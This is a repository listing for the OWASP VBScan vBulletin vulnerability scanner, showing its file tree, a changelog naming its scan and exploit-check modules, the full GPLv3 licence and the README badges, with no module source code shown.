├── .gitignore ├── CHANGELOG.md ├── LICENCE.md ├── README.md ├── core ├── compare.pl ├── header.pl ├── main.pl ├── report.pl ├── tmpreport.html ├── upgrade.pl └── ver.pl ├── exploit ├── arcade.pl ├── decodearguments.pl ├── faq.pl ├── htmlcode.pl ├── openredirection.pl ├── regplug.pl ├── routestring.pl ├── tapatalk.pl ├── upexploit.pl ├── vbscandb.txt ├── vbseo.pl ├── verexploit.pl ├── xperience.pl └── yui.pl ├── love.txt ├── modules ├── backupfinder.pl ├── c99finder.pl ├── configfinder.pl ├── cpfinder.pl ├── cpupgrade.pl ├── dirlisting.pl ├── errfinder.pl ├── firewall.pl ├── license.pl ├── missconfig.pl ├── passlogger.pl ├── pathdisclure.pl ├── robots.pl └── validator.pl ├── reports └── hello.txt └── vbscan.pl /.gitignore: -------------------------------------------------------------------------------- 1 | #Ignore reports 2 | reports/* -------------------------------------------------------------------------------- /CHANGELOG.md: -------------------------------------------------------------------------------- 1 | OWASP VBScan 0.1.8 [Self Challenge] 2 | ============ 3 | * Updated vulnerabilities database 4 | * "Email Before Registration Plugin" SQL exploit added 5 | * "Tapatalk vbulletin plugin" exploit added 6 | * "Routestring RCE" exploit added 7 | * Vbulletin possible password logger detector added 8 | * Allow start from any path 9 | * OpenRedirection founder module added 10 | * Vbulletin version comparing module added 11 | * A few enhancements 12 | 13 | 14 | OWASP VBScan 0.1.7.1 [Larry Wall] 15 | ============ 16 | * Compatible with perl v5.24.1 , issue #13 17 | 18 | 19 | OWASP VBScan 0.1.7 [Larry Wall] 20 | ============ 21 | * Updated exploit database 22 | * Compatible With Windows [Linux,OSX,Windows] 23 | * Added Full Path Disclosure (FPD) module 24 | * Added firewall detect/bypass module 25 | * Optimized version checker module engine [#12 issue] 26 | * Upgrade config finder module 27 | * Random user agent module set as default setting 28 | * Added HTML Report 29 | 30 | 31 | OWASP VBScan 0.1.6 [Dennis Ritchie again] 32 | ============ 33 | * Project name has been changed to "OWASP VBScan" 34 | * Added automatic vBulletin detection 35 | * Added robots.txt analyzer module 36 | * Added vbulletin LICENSE checker module 37 | * Optimized backup finder module 38 | * Optimized exploit check module 39 | * Fixed YUI 2.9.0 XSS false positive 40 | * Vbulletin version checker module bug fixed 41 | * "-h" switch not exist anymore 42 | 43 | 44 | VBScan 0.1.5 [Dennis Ritchie] 45 | ============ 46 | * Fixed html tags module bug 47 | * Fixed issues #8 #9 48 | * Fixed reported bugs 49 | 50 | 51 | VBScan 0.1.4 [Dennis Ritchie] 52 | ============ 53 | * Changed vulnerability scanner engine 54 | * Changed default specified timeout to 180 seconds 55 | * Added VBulletin 5.x RCE Exploit 56 | * Added txt report output 57 | * Fixed YUI 2.9.0 XSS false positive 58 | * Fixed reported bugs 59 | 60 | 61 | VBScan 0.1.3 [Sleep] 62 | ============ 63 | * Changed Default UserAgent 64 | * Fixed admincp/modcp finder bug 65 | * Fixed Reported Bugs 66 | 67 | 68 | VBScan 0.1.2 69 | ============ 70 | * Added **HTTPS Support** 71 | * Fixed color bug 72 | * Fixed Reported Bugs 73 | 74 | 75 | VBScan 0.1.1 76 | ============ 77 | * Initial release -------------------------------------------------------------------------------- /LICENCE.md: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | {one line to give the program's name and a brief idea of what it does.} 635 | Copyright (C) {year} {name of author} 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | OWASP Joomscan Copyright (C) 2018 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ![Version 0.1.8](https://img.shields.io/badge/Version-0.1.8-green.svg) 2 | [![ToolsWatch Best Tools](https://www.toolswatch.org/badges/toptools/2016.svg)](https://www.toolswatch.org/2017/02/2016-top-security-tools-as-voted-by-toolswatch-org-readers/) 3 | ![Perl 5.x](https://img.shields.io/badge/Perl-5.x-yellow.svg) 4 | [![GPLv3 License](https://img.shields.io/badge/License-GPLv3-red.svg)](https://github.com/rezasp/vbscan/blob/master/COPYING.GPL) 5 | [![Twitter](https://img.shields.io/badge/Twitter-@owasp_vbscan-blue.svg)](http://www.twitter.com/owasp_vbscan) 6 | [![Leader](https://img.shields.io/badge/Twitter-@rezesp-blue.svg)](http://www.twitter.com/rezesp) 7 | 8 | 9 |

10 | 11 |

